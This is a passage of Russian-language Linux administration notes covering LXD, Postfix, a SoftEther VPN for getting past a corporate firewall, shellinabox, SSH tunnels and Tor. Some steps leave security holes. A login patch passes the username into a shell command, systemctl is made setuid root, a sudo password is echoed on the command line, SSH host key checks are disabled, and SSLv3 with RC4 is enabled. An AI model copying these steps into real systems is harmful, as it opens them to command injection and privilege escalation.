  name: lxd
  driver: zfs
profiles:
- config: {}
  description: ""
  devices:
    eth0:
      name: eth0
      nictype: bridged
      parent: br0
      type: nic
    root:
      path: /
      pool: lxd
      type: disk
  name: default

Повторное конфигурирование можно запустить так:

dpkg-reconfigure -p medium lxd

Внесение изменений в дефолтный профиль

Для того, чтобы отредактировать дефолтный профиль, который будет применяться к новым контейнерам. Сохраним его в файл:

sudo lxc profile show default > default_lxd_profile.yaml

Отредактируем его, например - заменив lxdbr0 на имя нашего bridge - br0. И сохраним его в конфигурации LXD:

sudo lxc profile edit default < default_lxd_profile.yaml

Удалить дефолтный lxdbr0 можно командой:

sudo lxc network delete lxdbr0

Монтируем директорию хоста в контейнер LXD

sudo lxc config device add ContainerName DeviceName disk source=/tmp/share_on_host path=/tmp/share_on_guest

Тут ContainerName - имя контейнера, DeviceName - имя устройства (оно может быть произвольным и служит для идентификации этого ресурса в конфигурации).

Добавление storage pool

Для добавления хранилища выполняем:

sud mkdir -p /path/to/storage/pool
sudo lxc storage create PoolName dir source=/path/to/storage/pool

Данная команда создаст пул в директории. Для того, чтобы его впоследствии использовать нужно создать соответствующий профиль.

Создаем профиль для нового storage pool

Создаем пустой профиль:

sudo lxc profile create dir_storage

Открываем редактор:

sudo lxc profile edit dir_storage

И приводим его к такому виду:

config: {}
description: "Profile with Directory storage"
devices:
  eth0:
    name: eth0
    nictype: bridged
    parent: br0
    type: nic
  root:
    path: /
    pool: lxd_dir
    type: disk
name: dir_storage
used_by: []

Добавляем устройство ppp в профиль или контейнер LXD

Добавление профиля и устройства в него:

sudo lxc profile create device_ppp
sudo lxc profile device add device_ppp dev_ppp unix-char path=/dev/ppp

И назначаем профиль контейнеру:

sudo lxc profile assign pptp device_ppp,default

Тут важно, что нужно перечислить все профили, назначаемые контейнеру.

Добавление устройства непосредственно в контейнер

В этом случае профиль можно не создавать.

sudo lxc config device add <ctname> dev_ppp unix-char path=/dev/ppp

Смена пароля root в контейнере LXD

Допустим, у нас есть контейнер test1 и нам надо сменить в нем пароль root. Для этого выполняем:

sudo lxc exec test1 -- sh -c passwd

Установка web-интерфейса для LXD

Web-интерфейсов для LXD существует несколько. Покопавшись на github я выбрал LXDUI от AdaptiveScale. Его преимущества - довольно легкий (написан на python), обновляется, по крайней мере пока.
Устанавливаем запчасти:

sudo apt-get install -y python3 zfsutils-linux bridge-utils unzip python3-pip
sudo rm /usr/bin/python && sudo ln -s /usr/bin/python3.6 /usr/bin/python
sudo pip3 install --upgrade pip

Скачиваем:

wget https://github.com/AdaptiveScale/lxdui/archive/master.zip

Распаковываем:

unzip ./master.zip

Устанавливаем:

cd lxdui-master
sudo pip3 install .

Запускаем:

sudo lxdui start

Создаем файл сервиса systemd

sudo nano /lib/systemd/system/lxdui.service

Пишем туда вот что:

[Unit]
Description=LXC/LXD Web User Interface
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/lxdui start
ExecStop=/usr/local/bin/lxdui stop
ExecReload=/usr/local/bin/lxdui reload

[Install]
WantedBy=multi-user.target

Включаем сервис:

sudo systemctl enable lxdui

И запускаем его:

sudo service lxdui start

Аутентификация локальных и доменных пользователей

LXDUI от AdaptiveScale сам по себе прост и неплох, однако в нем нет аутентификации локальных или доменных пользователей.
Я решил это исправить и добавить аутентификацию пользователей, авторизовавшихся через pam-модули хоста.
Для этого нужно немного отредактировать файлик ./app/lib/auth.py
В моем случае он установился в /usr/local/lib/python3.6/dist-packages/app/lib/auth.py

sudo pip3 install python-pam

В самом конце это файлика есть функция authenticate, которую я привел вот к такому виду:

    def authenticate(self, username, password):
        #try to authenticate using pam
        pamobj = pam.pam()
        if pamobj.authenticate(username, password) is True:
           groups_gids = subprocess.check_output("id -G " + username, shell=True, universal_newlines=True).split()
           #for group in  [subprocess.check_output("getent group " + gid, shell=True, universal_newlines=True).split(':',maxsplit = 1)[0] for gid in groups_gids]:
           for group in  [grp.getgrgid(gid).gr_name for gid in groups_gids]:
                 if group.lower() == 'lxdui':
                     return True, 'Authenticated'

        #Authebticate using LXDUI database
        account, err = self.get(username)

        if account is None:
            return 'Error', err

        if account['password'] == self.sha_password(password):
            return True, 'Authenticated'
        else:
            return False, 'Incorrect password.'

Кроме того, в начало файла нужно добавить:

import pam, grp, subprocess

Мой хост присоединен к домену Active Directory и теперь пользователи, входящие в доменную или локальную группу lxdui будут нормально логиниться.

Экспорт/Импорт контейнеров со старого хоста LXC

На новом хосте создаем контейнер с таким же именем как и старый. Останавливаем его. Монтируем.

sudo lxc stop CONTAINERNAME
sudo zfs mount lxd/containers/CONTAINERNAME

Удаляем файлы:

sudo rm -Rf /var/lib/lxd/storage-pools/lxd/containers/CONTAINERNAME/rootfs/*

И теперь выполняем rsync. тут сложность в том, что rsync должен быть выполнен с правами sudo на обоих хостах:

sudo rsync -hXAavzP --stats --numeric-ids --rsync-path="echo PASSWORD | sudo -Sv && sudo rsync"  Username@Old_LXC_Host:/var/lib/lxc/CONTAINERNAME/rootfs/ /var/lib/lxd/storage-pools/lxd/containers/CONTAINERNAME/rootfs/

Контейнеры импортированные из LXC работали в privileged mode, поэтому нужно задать такой же режим импортированному контейнеру:

sudo lxc config set CONTAINERNAME security.privileged true

Также нужно отключить apparmor:

sudo lxc profile set default raw.lxc lxc.apparmor.profile=unconfined

В данном случае - отключаем apparmor (устанавливаем профиль unconfined) для профиля default.
Или можно отключить apparmor для заданного контейнера:

sudo lxc config set CONTAINERNAME raw.lxc lxc.apparmor.profile=unconfined

Миграция LXC-LXD с помощью lxd-tools

При попытке мигрировать с хоста Ubuntu 16.04.5 у меня толком ничего не вышло. При миграции переезжала файловая система, однако файл с настройками контейнера не создавался.

На хосте LXC ставим lxd-tools. Добавляем диск и делаем zfs-пул.
Затем настраиваем lxd с помощью

lxd init

Мигрируем контейнер с помощью

lxc-to-lxd

Затем делаем

export

переносим полученный image на новый хост и разворачиваем там.

Установка lxc-to-lxd на Ubuntu 16.04

При попытке установить lxd-tools из репозитория Ubuntu 16.04 оказалось, что ставится только версия lxd-tools (2.0.11-0ubuntu1~16.04.4), в которой отсутствует lxc-to-lxd.
Поэтому, ставим из backports:

sudo apt install -t xenial-backports lxd-tools

В результате установится версия 3.0.1-0ubuntu1~16.04.4, в которой lxc-to-lxd есть!.

Конвертация

sudo lxc-to-lxd container_to_move

Миграция

Если контейнер удачно конвертировался в LXD. Экспортируем его в файл:

  lxc snapshot container_name backup
  lxc publish container_name/backup --alias container_name-backup
  lxc image export container_name-backup .
  lxc image delete container_name-backup

Импортируем на новом хосте:

  lxc image import TARBALL-NAME --alias container_name-backup
  lxc launch container_name-backup container_name
  lxc image delete container_name-backup

setup_lxc_lxd_host_on_ubuntu_2204

anonymous@undisclosed.example.com (Anonymous) — Wed, 31 May 2023 14:25:51 +0000

На новых Ubuntu система управления контейнерами LXC/LXD ставится как snap (https://linuxcontainers.org/lxd/getting-started-cli/):

 sudo apt-get install zfsutils-linux bridge-utils
 sudo snap install lxd

Настраиваем. Выпоняем команду и отвечаем на вопросы:

sudo lxd init

Смотрим доступные имиджи:

lxc image list images:

Запускаем, в данном случае контейнер с CentOS 8:

sudo lxc launch images:centos/8-Stream  centos8

Запускаем в контейнере процесс:

sudo lxc exec centos8 -- /bin/bash

Или подключаемся к консоли запущенного контейнера:

sudo lxc console  centos8

Можно сделать контейнер привилегированным:

sudo lxc config set centos8 security.privileged true
sudo lxc restart centos8

Монтируем директорию:

sudo lxc config device add ContainerName DeviceName disk source=/tmp/share_on_host path=/tmp/share_on_guest

Например:

sudo lxc config device add centos8 RPMS disk source=~/Downloads/RPMS path=/tmp/rpms

Подключить к инстансу сеть:

sudo lxc network list
sudo lxc network attach lxdbr0 centos8
lxc config device set centos8 eth0 ipv4.address 10.208.99.2

Файл настроек LXD в Snap

Собственно файлы устанавливаются в /snap/lxd/current/.
Исполняемые файлы лежат в /snap/lxd/current/bin/.
Конфигурационные файлы лежат в /var/snap/lxd/common/.
Настройки контейнеров и их файловые системы - в /var/snap/lxd/common/lxd/containers/

setup_postfix_for_php_mailing_though_relay

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Задача

У меня есть почтовый сервачок поднятый скриптами iredmail и мне нужно разрешить хостам из локальной сети посылать почту без авторизации.

Решение

Разрешаем postfix отправлять почту из локальной сети без авторизации

На почтовом сервере postfix редактируем файлик /etc/postfix/main.cf и в параметре smtpd_sender_restrictions добавляем значение:

smtpd_sender_restrictions = check_sender_access pcre:/etc/postfix/sender_access.pcre, ...

А потом создаем файлик /etc/postfix/sender_access.pcre в котором прописываем правило:

/^192\.168\.1\./   OK

И перезапускаем postfix:

sudo service postfix restart

На хосте локальной сети с которого мы будем отправлять почту

sudo apt-get install postfix mailutils

При установке указываем тип хоста - Satellite system и в качестве почтового домена указываем свой домен.
В файлике /etc/postfix/main.cf прописываем путь к файлу /etc/postfix/generic, в котором будут храниться соответствия имен пользователей адресам почты, которые попадут в поле from и relayhost. Это нужно для того, чтобы вышестоящий релей без проблем пропустил письма у которых в после @ будет стоять, вероятно, несуществующий домен машины с которой мы отсылаем почту.

smtp_generic_maps = hash:/etc/postfix/generic
relayhost = mx.yourdomain.com

Файлик /etc/postfix/generic заполняем так:

echo 'www-data yourusername@yourdomain.com' >> /etc/postfix/generic

Потом включаем его в базу настроек postfix:

postmap /etc/postfix/generic

Файлик /etc/aliases хранит соответствия локальных пользователей и адресов получателей/отправителей. То есть, например, без этого файлика сервис mdadm, увидев, что развалился массив захочет оповестить пользователя root от имени root и подставит в поле from и в поле to адрес root@localhost.localdomain. В результате письмо никуда не дойдет. Поэтому редактируем /etc/aliases и пишем там так:

login:mailaddr@domain

А затем оповещаем postfix о наличии новых алиасов:

newaliases

и рестартуем postfix

service postfix restart

setup_sonare_qt_disassembler_in_ubuntu_16.04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

https://github.com/sapir/sonare

mkdir ~/sonare
cd ~/sonare/
git clone https://github.com/radare/radare2
cd radare2/
sudo sys/install.sh

cd ~/sonare/
git clone https://github.com/radare/radare2-r2pipe
cd radare2-r2pipe/python
python setup.py build
sudo python setup.py install

cd ~/sonare/radare2/shlr/capstone/bindings/python
sudo python setup.py build
sudo python setup.py install


sudo apt-get install python-networkx python-mako python-sortedcontainers libqt5core5a

apt-get download python-pyqt5
dpkg-deb -x ./python-pyqt5_5.5.1+dfsg-3ubuntu4_amd64.deb ./python-pyqt5_tmp
dpkg-deb --control ./python-pyqt5_5.5.1+dfsg-3ubuntu4_amd64.deb ./python-pyqt5_tmp/DEBIAN
sed -i 's/qtbase-abi-5-5-1/libqt5core5a/' ./python-pyqt5_tmp/DEBIAN/control
dpkg -b ./python-pyqt5_tmp/ python-pyqt5_5.5.1+dfsg-3ubuntu4_amd64_patched.deb 
sudo apt-get install ./python-pyqt5_5.5.1+dfsg-3ubuntu4_amd64_patched.deb
sudo apt-get install python-pyqt5.qtwebkit

simplest_progress_bar_for_dd_command

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Самый просто вариант наблюдения за состоянием dd после запуска:

dd if=/dev/sdd of=/dev/null bs=16384 & watch kill -USR1 $! &> /dev/null

simple_http_server_using_python

anonymous@undisclosed.example.com (Anonymous) — Fri, 18 Nov 2022 10:37:58 +0000

Иногда бывает нужно быстро организовать на хосте linux сервер для непостоянного доступа к файлам хоста из недружественных систем, где невозможно использовать scp, rsync, etc… (например windows).
Поднимать “промышленный” FTP/HTTP/Samba сервер ради пары файлов бессмысленно.
На помощь приходит python и его модуль SimpleHTTPServer. Он позволяет в одну команду организовать HTTP сервер с корневой директорией в текущей директории:

python -m SimpleHTTPServer 8000

В python3 этот модуль переименовали:

python3 -m http.server 8000

simulate_spam

anonymous@undisclosed.example.com (Anonymous) — Sat, 23 Apr 2022 09:07:59 +0000

Чтобы сымитировать спам достаточно отправить письмо со строкой:

XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34X

softether_ubuntu_16.04

anonymous@undisclosed.example.com (Anonymous) — Thu, 09 Apr 2020 13:23:54 +0000

Мне понадобился VPN, работающий поверх HTTPS, чтобы его можно было протащить через корпоративный firewall. Одним из вариантов реализации такого VPN является SSTP, однако это разработка Microsoft и свободных реализаций до недавнего времени не было.

https://github.com/sorz/sstp-server
https://www.digitalocean.com/community/tutorials/how-to-setup-a-multi-protocol-vpn-server-using-softether
https://habrahabr.ru/post/211136/
http://www.prianichnikov.info/2015/06/softether-vpn-debian.html
https://linuxconfig.org/setting-up-softether-vpn-server-on-ubuntu-16-04-xenial-xerus-linux

Сервер SSTP на базе Ubuntu + SoftEther

Softether - это мультиплатформенный, мультипротокольный VPN-сервер. Моя задача - поднять на базе него SSTP VPN-сервер (для того, чтобы выбраться из-под гнёта корпоративного файервола имя которому - ironport).

SSTP за Haproxy с SNI

В моем случае, сам сервер Softether находится за NAT и HAproxy. То есть на роутере прокинут (mapping) порт 443 на lxc-контейнер с HAProxy, на котором, в свою очередь, настроен проброс HTTPS траффика по SNI (mode tcp) на контейнер с SoftEther. Фактически, HAProxy еще раз мапит порт 443.
Эта конфигурация позволяет держать на одном хосте и несколько HTTPS-сайтов (каждый со своим сертификатом), а также SoftEther. При этом, каждый сервис работает в собственном независимом lxc-контейнере.
Нужно учитывать, что SNI присутсвует не в в каждом пакете SSTP-трафика. Поэтому через HAProxy с SNI трафик SSTP будет нормально проходить только когда контейнер указан в качестве default_backend, либо будет использоватьться конфигурация, описанная тут:

frontend  main 192.168.0.3:443 ssl
    tcp-request inspect-delay 5s
    tcp-request content accept if { req.ssl_hello_type }
    use_backend websites if { req_ssl_sni -m found }
    default_backend          sstp

То есть, выполняется проверка наличия SNI и если он есть, то трафик направляется на Web-сервер, а если нет, то на сервер SSTP.

Устанавливаем сервер

Дистрибутив актуален на ноябрь 2017. Новые версии - http://www.softether-download.com/en.aspx?product=softether

sudo apt-get update && sudo apt-get upgrade -y && sudo apt-get install wget nano build-essential -y
wget http://www.softether-download.com/files/softether/v4.24-9651-beta-2017.10.23-tree/Linux/SoftEther_VPN_Server/64bit_-_Intel_x64_or_AMD64/softether-vpnserver-v4.24-9651-beta-2017.10.23-linux-x64-64bit.tar.gz
tar -xvf ./softether-vpnserver-v4.24-9651-beta-2017.10.23-linux-x64-64bit.tar.gz
cd vpnserver/
echo -e "1\n1\n1\n" | make

Запуск в виде сервиса systemd

Создаем файлик /lib/systemd/system/vpnserver.service

[Unit]
Description=SoftEther VPN Server
After=network.target

[Service]
Type=forking
ExecStart=/usr/local/vpnserver/vpnserver start
ExecStop=/usr/local/vpnserver/vpnserver stop

[Install]
WantedBy=multi-user.target

Включаем сервис:

sudo systemctl enable vpnserver

Запускаем:

sudo service vpnserver start

Администрирование сервера

Для администрирования сервера в комплект входит утилита vpncmd. Она позволяет администрировать как локальный, так и удаленный сервер. Также есть GUI, но он под Windows и под wine у меня не заработал.

sudo ./vpncmd

Во-первых нужно установить административный пароль:

ServerPasswordSet

Полный список доступных команд можно увидеть так:

 help

Настройка SSTP

Включаем SSTP:

SstpEnable yes

Импорт сертификата сервера

Для работы SSTP нужен сертификат. Его может сгенерировать сам SoftEther, но я предпочитаю использовать нормальные сертификаты Let's Encrypt. Я их получаю так: Сертификаты Let's Encrypt
Для того, чтобы подсунуть сертификат в SoftEther есть команда:

ServerCertSet

при её выполнении нужно указать путь к сертификату и закрытому ключу. В случае с let's encrypt это /etc/letsencrypt/live/your.domain.com/fullchain.pem и /etc/letsencrypt/live/your.domain.com/privkey.pem.

Создание виртуального Хаба

SoftEther использует концепцию виртуальных хабов. Хабы используются для разграничения прав и изоляции траффика. Можно создать новый хаб, но можно использовать дефолтный. Я буду использовать дефолтный.

Hub DEFAULT

Создать новый хаб и перейти в него можно командами:

HubCreate AUTOSYS
Hub Autosys

Задать административный пароль для хаба можно командой:

SetHubPassword

Создание пользователя

SoftEther поддерживает много разных вариантов авторизации, в том числе и AD, RADIUS, однако, настраивать их через CLI я пока не знаю как, поэтому - настраиваю локальных пользователей.
Создание пользователя:

UserCreate test

Задаем пароль для пользователя:

UserPasswordSet test

Режим маршрутизации траффика

После выбора хаба нужно задать режим маршрутизации VPN-сессий. Режимов два - Local Bridge и SecureNAT.
LocalBridge - вариант при котором клиент присоединяется к сегменту Ethernet-сети, подключенному к одному из физических сетевых адаптеров VPN-сервера. Соединение происходит на втором уровне модели OSI
SecureNAT - режим, в котором VPN-сервер маршрутизирует траффик как роутер. В этом случае в недрах сервера SoftEther поднимается собственный маршрутизатор и DHCP-сервер (не связанные с ядром ОС), способные работать в userspace. Виду того, что я поднимаю SoftEther в контейнере lxc, я буду использовать режим SecureNAT:

SecureNatEnable

При включении режима SecureNat автоматически включается маршрутизатор и и DHCP-сервер.
Настроить параметры виртуального сетевого адаптера SecureNAT можно командой:

SecureNatHostSet

При выполнении SecureNatHostSet нужно задать MAC-адрес (произвольный, начинающийся с 00:AC), IP-адрес (по-умолчанию 192.168.30.1) и маску сети (по-умолчанию - 255.255.255.0).
Параметры MTU и таймаутов для Virtual NAT можно задать командой:

NatSet

Параметры сервера DHCP задаются командой:

DhcpSet

Посмотреть текущие выданные DHCP-сервером IP-адреса:

DhcpTable

Состояние сервера SoftEther

Список прослушиваемых в данный момент портов:

ListenerList

Настройки SecureNAT:

SecureNatHostGet

Состояние SecureNAT:

SecureNatStatusGet

Настройка L2TP/IPSec

Включаем L2TP/IPSec

> IPsecEnable /L2TP:yes /L2TPRAW:no /ETHERIP:no /PSK:<preshared-key> /DEFAULTHUB:DEFAULT

Проверяем статус OpenVPN

> OpenVpnGet
OpenVPN Clone Server Enabled|Yes
UDP Port List               |1194

Настройка клиента SoftEther

Клиент SoftEther способен работать в режиме сервиса, самостоятельно поддерживая работоспособность канала.

wget http://www.softether-download.com/files/softether/v4.24-9651-beta-2017.10.23-tree/Linux/SoftEther_VPN_Client/64bit_-_Intel_x64_or_AMD64/softether-vpnclient-v4.24-9651-beta-2017.10.23-linux-x64-64bit.tar.gz
tar -xvf ./softether-vpnclient-v4.24-9651-beta-2017.10.23-linux-x64-64bit.tar.gz 
cd vpnclient/
echo -e "1\n1\n1\n" | make

Запускаем клиента:

sudo ./vpnclient start

Настройка подключения

Запускаем утилитку управления клиентом.

sudo ./vpncmd

Теперь жмем 2.
При настройке клента надо сделать две вещи. Создать виртуальный сетевой адаптер и привязать к нему подключение.
Создаем адаптер:

NicCreate autosys

Создаем подключение:

AccountCreate autosys

При создании подключения сервер указвыавем с портом server:port. В моем случае как-то так:

VPN Client>NicCreate autosys
NicCreate command - Create New Virtual Network Adapter
The command completed successfully.

VPN Client>AccountCreate autosys
AccountCreate command - Create New VPN Connection Setting
Destination VPN Server Host Name and Port Number: sstp.autosys.tk

The host name and port number specification is invalid. 
Please specify using the format of host name:port number, or IP address:port number.
Destination VPN Server Host Name and Port Number: sstp.autosys.tk:443

Destination Virtual Hub Name: DEFAULT

Connecting User Name: mike

Used Virtual Network Adapter Name: autosys

The command completed successfully.

Теперь прописываем пароль для нового подключения:

AccountPasswordSet

тут нужно указать имя подключения, пароль и тип авторизации (standard или RADIUS) в нашем случае - standard.

VPN Client>AccountPasswordSet
AccountPasswordSet command - Set User Authentication Type of VPN Connection Setting to Password Authentication
Name of VPN Connection Setting: autosys

Please enter the password. To cancel press the Ctrl+D key.

Password: *******
Confirm input: *******

Specify standard or radius: standard

The command completed successfully.

Установка связи

AccountConnect myconnection

Проверка состояния подключения

AccountStatusGet myconnection

soundwire

anonymous@undisclosed.example.com (Anonymous) — Thu, 10 Dec 2020 08:46:20 +0000

Для передачи звука с ноута на TV-Box с Android я использую SoundWire.
SoundWire представялет собой сервер, работающий на PC и клиент, работащий на Android. На клиента транслируется звук, который присутствует на выходе PC.

Система - Ubuntu 20.10 + KDE. Звук - ALSA + PulseAudio.
У меня после запуска и соединения сервера с клиентом не было слишно звука.
Оказалось, что нужно открыть Audio Volume Settings, слева кликнуть в Audio, перейти на вкладку Advanced, затем - в свойствах устройства вывода выбрать профиль Analog Stereo Output (там был выставлен Analog Stereo Dulplex).

ssd_overprovisioning_setup

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

SSD Over Provisioning

SSD Over Provisioning - это резервирование блоков на SSD для подстановки вместо выходящих из строя.
Типичное количество циклов перезаписи, которое выдерживает ячейка диска SSD, лежит в пределах от 1000 (для TCL flash) до 3000 (для MLC flash). В дальнейшем, ячейка памяти может выйти из строя. Конечно, существует память SLC, для которой количество циклов перезаписи может достигать 100 000, однако она заметно дороже.
Для оперативной замены выходящих из строя блоков на SSD выделяется недоступная пользователю резервная область, из которой берутся свежие блоки, на замену выходящим из строя. Эта методика и называется Over Provisioning.

Объем резервной области

Типичный объем такой области - 7% от емкости SSD.
Для понимания объема резервной области нужно понимать некоторе нюансы. Во-первых - различают две единицы емкости - гигабайт (Gb) и гибибайт (GiB). Гигабайт равен ровно миллиарду (1 000 000 000) байт. Гибибайт - это 2^30 = 1 073 741 824 байт. Таким образом, гибибайт на 7,37% больше гигабайта. Маркетологи продают нам гигабайты, а в чипах по прежнему фигурируют гибибайты. В результате этой нехитрой махинации в дисках образуется некоторый излишек физических ячеек памяти, который и становится резервом.
Кроме того, часто производители еще немного урезают полезную емкость SSD расширяя резервную область. Допустим, у нас есть 128GiB памяти. Мы превращаем гибибайты в гигабайты и получаем 7,37%, а потом еще уменьшаем объем диска до 120GB и у нас получается SSD с объемом OP ~15%.
Также, умные контроллеры для увеличения срока жизни дисков будут использовать в качестве резерва и доступные пользователю, но ни разу не записанные области диска. Это называется Dynamic Over Provisioning.

Увеличение срока жизни SSD

Итак, жизнь SSD подойдет к концу, когда исчерпается запас резервных ячеек. Как же можно увеличить объем резервной области? Варианта два.
Первый - надеяться на Dynamic Over Provisioning и создавать разделы, которые не будут занимать весь объем диска.
Второй - ограничить объем диска вручную. Под Linux это можно сделать с помощью hdparm и механизма HPA - Host Protected Area.
Посмотреть текущее количество доступных секторов:

#hdparm -N /dev/sdb

/dev/sdb:
 max sectors   = 312581808/312581808, HPA is disabled

Спрятать от пользователя часть диска:

# hdparm -Np281323627 --yes-i-know-what-i-am-doing /dev/sdb

/dev/sdb:
 setting max visible sectors to 281323627 (permanent)
 max sectors   = 281323627/312581808, HPA is enabled

В результате чать SSD станет недоступна пользователю и может быть использована как резервная. На некоторых дисках, для того, чтобы сектора не рассматривались как использованные - нужно выполнить Secure Erase.
Эти рекомендации соответствуют позиции производителей SSD.
https://storage.toshiba.com/docs/services-support-documents/ssd_application_note.pdf

ssh_in_browser

anonymous@undisclosed.example.com (Anonymous) — Mon, 13 Jan 2020 08:20:04 +0000

SSH In Browser Using WebRTC

https://sqs.io/

ShellInABox

Иногда нужно иметь доступ к консоли из web-браузера. Для этого есть много решений. Одно из них - shellinabox. Старая неподдерживаемая версия: https://code.google.com/p/shellinabox/ она есть в репозиториях ubuntu. Текущая поддерживаемая: https://github.com/shellinabox/shellinabox

Будем собирать текущую:

sudo apt-get install git libssl-dev libpam0g-dev zlib1g-dev dh-autoreconf 
git clone https://github.com/shellinabox/shellinabox.git && cd shellinabox
autoreconf -i
./configure && make
dpkg-buildpackage -b

Если встречается ошибка:

 undefined reference to `SSL_CTX_set_options'

То нужно переустановить старую версию libssl-dev и пересобрать:

sudo apt-get -y install libssl1.0-dev
./configure && make
dpkg-buildpackage -b -d

И потом ставить:

sudo dpkg -i ../shellinabox_{ver}_{arch}.deb

После установки shell доступен по адресу: https://___SERVER_IP___:4200 Демон запускается скриптом: /etc/init.d/shellinabox Конфигурационный файл лежит тут: /etc/default/shellinabox Описание возможных параметров запуска доступны тут: https://github.com/shellinabox/shellinabox/wiki/shellinaboxd_man

ShellInABox за haproxy

Мне было необходимо, чтобы shellinabox работал на страничке типа https://site.name/sh/

/etc/haproxy/haproxy.cfg

frontend http
   mode http
   bind *:80
   use_backend sh if { path_beg -i /sh }
   
   
   backend sh
   mode http
   server local_host localhost:4200

ShellInABox за nginx

server {                                                                                                                                                                                                                                                     
    listen 443;                                                                                                                                                                                                                                              
    server_name server.name;                                                                                                                                                                                                                              
    client_max_body_size 1024M;                                                                                                                                                                                                                              
    ssl on;                                                                                                                                                                                                                                                  
    ssl_certificate /etc/ssl/certs/server.crt;                                                                                                                                                                                                              
    ssl_certificate_key /etc/ssl/private/server.key                                                                                                                                                                                                                                                                                                                                                                                                 
    ssl_session_timeout 360m;                                                                                                                                                                                                                                
    ssl_protocols SSLv3 TLSv1;                                                                                                                                                                                                                               
    ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP;                                                                                                                                                                                   
    ssl_prefer_server_ciphers on;                                                                                                                                                                                                                            
    location / {                                                                                                                                                                                                                                             
        proxy_pass http://127.0.0.1:5000;                                                                                                                                                                                                                    
        proxy_read_timeout 600s;
    }
    location /sh {
        proxy_pass http://127.0.0.1:4200/sh;
        access_log off;
        proxy_redirect default;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        client_max_body_size 10m;
        client_body_buffer_size 128k;
        proxy_connect_timeout 90;
        proxy_send_timeout 90;
        proxy_read_timeout 90;
        proxy_buffer_size 4k;
        proxy_buffers 4 32k;                                                                                                                                                                                                                                 
        proxy_busy_buffers_size 64k;                                                                                                                                                                                                                         
        proxy_temp_file_write_size 64k;                                                                                                                                                                                                                      
    }
server {                                                                                                                                                                                                                                                     
    listen 80;                                                                                                                                                                                                                                               
    server_name server.name;                                                                                                                                                                                                                              
    return 301 https://$host$request_uri;                                                                                                                                                                                                                    
}

/etc/default/shellinabox

# Should shellinaboxd start automatically
SHELLINABOX_DAEMON_START=1

# TCP port that shellinboxd's webserver listens on
SHELLINABOX_PORT=4200

# Parameters that are managed by the system and usually should not need
# changing:
# SHELLINABOX_DATADIR=/var/lib/shellinabox
# SHELLINABOX_USER=shellinabox
# SHELLINABOX_GROUP=shellinabox

# Any optional arguments (e.g. extra service definitions).  Make sure
# that that argument is quoted.
#
#   Beeps are disabled because of reports of the VLC plugin crashing
#   Firefox on Linux/x86_64.
SHELLINABOX_ARGS="--no-beep -s /sh/:SSH:localhost -t"

ssh_over_ssl

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

http://blog.chmd.fr/ssh-over-ssl-episode-4-a-haproxy-based-configuration.html

ssh_tunnel_as_systemd_service

anonymous@undisclosed.example.com (Anonymous) — Wed, 27 Nov 2019 08:37:20 +0000

Задача

Нужно сделать так, чтобы при старте ubuntu автоматически подимался ssh-туннель и поддерживался в рабочем состоянии.
Для этого создадим файлик сервиса, в него пропишем старт тоннеля.

Сервис systemd

Создаем файл /etc/systemd/system/secure-tunnel.service:

[Unit]
Description=Setup a secure tunnel to remote server
After=network.target

[Service]
ExecStart=/usr/bin/ssh -NT -i /home/user/.ssh/id_rsa -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -p 443 -R \*:2233:127.0.0.1:22 loginame@remote.server

# Restart every >2 seconds to avoid StartLimitInterval failure
RestartSec=5
Restart=always

[Install]
WantedBy=multi-user.target

В результате, компьютер, на котором прописан этот сервис будет устанавливать ssh-соединение, в котором будет работать туннель. Локальный порт машины 22 будет доступен на удаленном сервере remote.server на порту 2233. Мне это нужно для доступа по ssh к машине, которая работает за NAT.
Включаем и стартуем сервис:

sudo systemctl enable secure-tunnel.service
sudo systemctl daemon-reload
sudo systemctl start secure-tunnel.service

Для того, чтобы подключаться к сервису не только с localhost машины remote.server, но и с других хостов, на сервере remote.server нужно в файлике /etc/ssh/sshd_config сделать так:

GatewayPorts yes

systemctl_privileges_without_sudo

anonymous@undisclosed.example.com (Anonymous) — Fri, 03 Jun 2022 18:31:06 +0000

Чтобы дать обычным пользвателям большие права в системе, но не давать при этом прав root - можно поменять права на systemctl

sudo chown root:myuserorgroup /bin/systemctl
sudo chmod 4755 /bin/systemctl

Таким образом - можно дать прав на reboot и на работу с сервисами.

test_drawio

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

<diagram>:linux_faq:test.xml</diagram>

tor_proxy_with_ftp_support

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Задача

Мой провайдер для чего-то закрыл доступ по ftp к ресурсу bplaced.com, на котором я держу некоторые бекапы. Возникла необходимость получить доступ к этому ресурсу через tor.

ЗАДАЧА НЕ РЕШЕНА. НИЖЕ ПРЕВЕДЕНЫ НЕКОТОРЫЕ СООБРАЖЕНИЯ

Решение

https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/FTP#Method2:3
В данный момент я выбираю подходящий proxy-сервер, который позволит завернуть FTP в SOCKS, устанавливать буду на LXC-контейнер с Ubuntu 16.04.3 . Устанавливаем tor:

sudo apt-get install tor tor-geoipdb

Настраиваем tor в файлике /etc/tor/torrc. Для того, чтобы SOCKS-proxy был доступен из локальной сети нужно добавить строку:

SOCKSListenAddress 192.168.x.x

Также нужно включить режим демона:

RunAsDaemon 1

В файлике /etc/tor/torsocks.conf я указал вот что:

TorAddress 192.168.x.x
TorPort 9050
AllowInbound 1

Теперь надо включить автозапуск SOCKS-proxy tor

sudo systemctl edit tor

И пишем туда такое:

[Service]
ExecStart=
ExecStart=/usr/bin/tor

Перезагружаемся и прповеряем:

sudo netstat -tulpn

В списке должна быть строка с процессом tor

3Proxy - не подошел

Установка 3proxy:

